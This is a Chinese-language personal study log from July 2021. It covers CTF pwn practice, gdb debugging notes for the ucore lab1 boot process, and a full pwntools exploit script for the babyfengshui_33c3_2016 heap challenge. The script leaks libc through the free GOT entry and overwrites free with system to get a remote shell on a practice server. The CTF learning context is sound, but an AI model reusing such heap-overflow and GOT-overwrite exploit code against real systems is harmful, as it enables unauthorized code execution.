21.07.22学习总结
Column: July 22, 2021
Tags: learning experience
13:50-14:55: buu刷题
bjdctf_2020_router: 没必要写exp
wustctf2020_getshell: ret2text
babyfengshui_33c3_2016: 基础堆溢出, 一开始没找到溢出点, 我逆向功底好差…
16:00-16:40: 在绝望中分析ezcloud, 并且感受了一下union的作用: 类似于申请了一块内存, 但那个内存所存的变量类型是依靠程序运行情况决定的
22:00-23:00: 做完了nep某师傅出的新生赛pwn题(仨栈一堆, strcmp绕过有些忘了…)
23:10-24:00: ucore lab1的exercise2开始捣腾, 然后捣腾了好久的gdb, 发现如下:
- pwndbg中的类会报错
- gdb原来的操作界面实在太丑了
- peda可用, 但显示源码不方便
- 同时修改lab1文件夹tools/gdbinit也无法使得make debug出来的gdb变为peda, 所以就只能使用qemu-system-i386来开启后在用gdb给连上去了
- 在启动后的第一条指令被卡住过, 我的界面如下:
可用看到执行的命令为add…但是分析一下明显不对, 因为eax为0, 若add ptr [eax]则肯定报错, 但是程序没有报错, 同时eip发生了改变, 所以看了一眼官方文档:
然后开动了一下猪脑才发现此时的cs设置为了0xf000, 所以真正的执行地址为0xffff0, 指令为上面的ljmp, 呜呜呜, 我好笨(这个玩意是16位! 所以要改变自己平时32位和64位的想法啦~), 之后开始执行bootblock.o是从0x07c00开始的, 因为之前在ld的时候, 有参数 -Ttext 0x7c00, 详情可man ld查看
babyfengshui_33c3_2016:
虽然我逆向功底差, 但又尼玛给的libc对不上…
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#sh=process('./babyfengshui_33c3_2016')
sh=remote('node4.buuoj.cn', 27279)
#libc=ELF('/home/thu1e/ctf/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')
elf=ELF('./babyfengshui_33c3_2016')
#libc=elf.libc
def Add(size, name, length, text):
sh.recv()
sh.sendline('0')
sh.recv()
sh.sendline(str(size))
sh.recv()
sh.sendline(name)
sh.recv()
sh.sendline(str(length))
sh.recv()
sh.sendline(text)
def Delete(idx):
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(idx))
def Display(idx):
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline(str(idx))
def Update(idx, length, text):
sh.recv()
sh.sendline('3')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.sendline(str(length))
sh.recv()
sh.sendline(text)
def stop():
print str(proc.pidof(sh))
pause()
def pwn():
[Add(0x80, 'thu1e', 0x20, 'w'*4) for i in range(2)]
Add(0x80, '/bin/sh\x00', 0x10, '/bin/sh\x00')
Delete(0)
Add(0x100, 'aaaa', 0x210, 'w'*0x108+p32(0x110)+p32(0x89)+'w'*0x80+p32(0)+p32(0x89)+p32(elf.got['free']))
Display(1)
sh.recvuntil('description: ')
free_addr=u32(sh.recv(4))
log.success('free addr: '+hex(free_addr))
libc=LibcSearcher('free', free_addr)
libc_base=free_addr-libc.dump('free')
log.success('libc base:'+hex(libc_base))
sys_addr=libc_base+libc.dump('system')
fgets_addr=libc_base+libc.dump('fgets')
Update(1, 8, p32(sys_addr)+p32(fgets_addr))
Delete(2)
#stop()
sh.interactive()
pwn()
明日目标:
ucore的lab1争取做完
看些内核pwn
继续buu
今日困惑:
- 话说…32/64位下, 段寄存器有啥用啊(
- ezcloud是webpwn, 所以我先跑了, 暑假结束再做吧…基础知识还不够